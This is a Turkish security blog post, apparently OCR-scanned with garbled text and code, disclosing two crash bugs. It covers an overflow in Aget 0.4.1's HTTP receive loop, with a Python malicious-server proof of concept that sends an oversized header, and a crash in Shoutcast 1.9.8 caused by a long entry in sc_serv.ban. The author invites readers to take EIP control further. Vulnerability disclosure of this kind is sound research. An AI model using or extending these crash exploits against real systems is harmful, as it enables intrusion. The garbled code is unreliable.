Egzersiz..

written by Mert SARICA | 5 January 2010
Pas tutmamak icin kaynak kodu inceliyor, fuzzing ile de ufak tefek

programlari kurcaliyordum ki iki farkli uygulamada iki bug ile karsilastam.
Istismar edilme ihtimallerinin oldukca disik oldugunu diisiinsemde el elden
ustundir diyerek sizlerle paylasiyorum belki aranizdan biri istismar ederek

bizleri aydinlatir.

I1k olarak bir c¢ok linux dagitiminda yer alan Enderunix’in Aget v0.4.1

programinin kaynak kodlarini inceledim.

aget-0.4.1\Defs.h

GETRECVSIZ = 8192,

aget-0.4.1\Download.c

void * http get(void *arg) {
struct thread data *td;

int sd;

char *rbuf, *s;

if ((dr = recv(sd, rbuf, GETRECVSIZ, 0)) == -1) {
Log(" recv failed: %s", tid, strerror(errno));
pthread exit((void *)1);

}

rbuf = (char *)calloc(GETRECVSIZ, sizeof(char));

rbuf;

i=0;

wn
Il

while(1l) {
if (*s == '"\n' && *(s - 1) == '"\r' & *(s - 2) == '\n' && *(s - 3) == '\r') {
S++;

i++;


https://www.mertsarica.com/egzersiz/
http://www.enderunix.org/aget/

break;

S++;
i++;

}

Yukaridaki koda dikkat edecek olursak Defs.h dosyasinda GETRECVSIZ, 8192 byte
olarak tanimlanmis ve calloc fonksiyonu ile 8192 byte bilylkliginde hafiza
tahsis edilmis ve rbuf’a atanmis ancak kontrolsiz while doéngusi nedeniyle
hafiza tasmasi sorunu ortaya cikiyor ve sonu¢ olarak array index out of bound

zaafiyeti ile karsilasiyoruz.

Zaafiyeti teyit etmek icginse daha Once internetten buldugum (sanirim
milwOrmda bulmustum) ve client-side glvenlik zaafiyetini istismar etmek ig¢in
hazirlanmis olan araci biraz degistirerek teyit ettim, sonuc¢ segmentation
fault.

#!/usr/bin/env python

from BaseHTTPServer import HTTPServer

from BaseHTTPServer import BaseHTTPRequestHandler

import sys

try:

import psyco

psyco.full()

except ImportError:

pass

class myRequestHandler (BaseHTTPRequestHandler):

try:

def do HEAD(self):

# Always Accept GET

# self.printCustomHTTPResponse(200)

buffer = "HTTP/1.1 200 OK\r\nDate: Sat, 02 Jan 2010 13:06:39 GMT\r\nServer:
Apache/2.2.11 (Debian) DAV/2 SVN/1.5.1 mod python/3.3.1 Python/2.5.2

mod ssl/2.2.11 OpenSSL/0.9.8g mod transform/0.6.0\r\nLast-Modified: Thu, 02
Jun 2005 07:53:29 GMT\r\nETag: \"f6cedc-5c800-3f88a8879f040\"\r\nAccept-
Ranges: bytes\r\nContent-Length: 1\r\nContent-Type: application/x-msdos-
program\r\n"

self.wfile.write(buffer)

def do GET(self):



# Always Accept GET

self.printCustomHTTPResponse(200)

# Print custom HTTP Response

def printCustomHTTPResponse(self, respcode):

self.send response(respcode)

self.send header("Server", "myRequestHandler")

self.send header("Content-Length", "1")

buffer = "A"*8041 + "\r\n" + "A"*8041 + "\r\n" + "A"*8041
# self.send header("Content-type", "application/x-msdos-program")
self.send header("Content-type", buffer)

# self.wfile.write(buffer)

self.end headers()

except Exception:

pass

httpd = HTTPServer(('', 80), myRequestHandler)
try:

httpd.handle request()

httpd.serve forever()

except KeyboardInterrupt:

print ("\n\nExiting exploit...\n\n")
sys.exit()

Aget disinda download.com internet sitesinde gezinirken zamaninda eglenmek
i¢in kullandigim shoutcast internet radyo programi ile karsilastim ve goz
atmaya karar verdim. Kurulumu gerceklestirip biraz inceledigimde admin
panelinde IP adresi banlamak ve goruntilemek icin kullanilan Ban List boldmi
dikkatimi ¢ekti. Programin banlanan IP adresini ise sc serv.ban dosyasina
kayit ettigini ve her calistirildiginda yukledigini 6grendikten sonra fuzzing
icin hedef dosyayi inceledim ve test ic¢in banladigim IP adresine ait kaydin
1.1.1.1;255;Manual Add olarak dosya icerisinde yer aldigimi gordim. File
fuzzingi otomotize etmek ic¢in bir script hazirlamadan Once manuel olarak
gerceklestirdigim ilk testte uygulamanin gég¢tuguni gordim ve debugger ile
inceledigimde EAX registerina istedigim degeri yazabildigimi gordim ancak
biraz daha inceledikten sonra EIP registerina gidecek azmi ve vakti bulamadim
ve egzersiz olarak sizlere birakabilecegimi disindim.

Shoutcast v1.9.8 (windows & linux)
sc_serv.ban icerisine 1.1.1.1;255;AAAAA(281 tane) satirini eklemeniz EAX
registerina yazabilmeniz icin yeterli oluyor.


http://www.download.com
http://www.shoutcast.com/download-files

| Immunity Debugger - sc_serv.exe - [CPL - thread 00000244, module ntdll]
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